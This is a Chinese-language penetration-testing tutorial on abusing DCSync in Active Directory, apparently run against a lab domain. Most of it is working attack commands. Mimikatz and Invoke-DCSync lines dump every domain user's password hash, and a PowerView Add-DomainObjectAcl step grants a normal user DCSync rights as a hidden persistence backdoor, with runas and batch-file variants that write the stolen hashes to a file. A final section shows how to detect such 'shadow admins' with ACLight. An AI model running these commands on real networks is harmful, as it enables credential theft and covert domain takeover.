域渗透-DCSync的利用

域渗透-DCSync的利用

0x00 引言

DCSync是域渗透常用的技术,本文根据其他人的技术进行测试引用,并整理。

0x01 简介

本文内容

  • 利用DCSync导出域内所有用户hash的方法
  • 利用DCSync在域内维持权限
  • 自动化检测DCSync后门

0x02 利用DCSync导出域内所有用户hash的方法

利用DCSync的先决条件

获取以下任意一个用户权限:

  • Administrators 组
  • Domain Admins组
  • Enterprise Admins(企业管理员)组
  • 域控制器的计算机账户

利用原理

利用DRS(Directory Replication Service,目录复制服务)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。

如何利用?

  1. mimikatz
1
2
3
4
5
privilege::debug
#导出域内所有用户的hash
lsadump::dcsync /domain:louis.gov /all /csv
#导出域内administrator账户的hash
lsadump::dcsync /domain:louis.gov /user:administrator /csv
  1. 利用powershell实现

通过Invoke-ReflectivePEinjection(调用-反射性注射)调用mimikatz.dll中的dcsync功能

1
2
3
4
5
# 导出域内所有用户的hash
Invoke-DCSync -DumpForest | ft -wrap -autosize

# 导出域内administrator账户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

0x03 利用DCSync 在域内维持权限的方法

先决条件

获得以下任何一个用户组的用户权限:

  • Domain Admins组
  • Enterprise Admins(企业管理员)组

利用原理

向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限

如何利用?

1
2
3
4
5
6
7
# ACL一般都是指对象的安全描述符中的SACL和DACL
# SACL 包含访问控制条目(ACE),用于指定在域控制器的安全事件日志中生成审核记录的访问尝试类型
# DACL 访问控制列表(ACL),由对象的所有者控制,并指定特定用户或组对该对象的访问权限。
# 添加ACE的命令:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
# 删除ACE的命令:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注入ACL后,该用户有了调用DCSync的权限。

  1. 在域内一台登陆了test1 的主机上面,直接使用mimicatz的DCSync方法。
1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:louis.gov /all /csv" exit
  1. 使用runas

runas ??

runas命令:能让域用户/普通user用户以管理员身份运行制定程序

1
2
3
4
5
6
7
8
9
# 弹cmd实现
runas /noprofile /user:louis\test1 cmd
# 弹出的cmd下执行如下命令
mimikatz.exe privilege::debug "lsadump::dcsync /domain:louis.gov /all /csv" exit

# 不弹出cmd实现
runas /noprofile /user:louis\test1 c:\test\1.bat
# 1.bat内容
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:louis.gov /user:administrator /csv" exit > c:\test\1.txt

tips

使用wmic 命令在本机实现会出现错误。

0x04 自动化检测DCSync后门

具有高权限但不在高权限组的用户被称之为Shadow Admin,例如0x03中的域用户test1,仅通过查询高权限组的成员无法发现域内的Shadow Admin

检测原理

枚举活动目录(Active Directory)中,所有用户的ACL,标出特权用户

使用代码

1
2
3
4
5
6
7
8
9
10
# Execute-ACLight2.bat

@echo off
set var=%~d0%~p0%
cd "%var%"
set "var=%cd%\ACLight2.psm1"
echo.
echo Welcome, starting Multi-Layered ACLight scan
powershell -noprofile -ExecutionPolicy Bypass Import-Module '%var%' -force ; Start-ACLsAnalysis
pause

先决条件

  • powershell v3.0
  • 域内普通用户权限

检测方法

执行Execute-ACLight2.bat

生成三个文件:

  • Privileged Accounts - Layers Analysis.txt
  • Privileged Accounts Permissions - Final Report.csv
  • Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户

经测试,ACLight能够检测出被添加DCSync权限的用户test1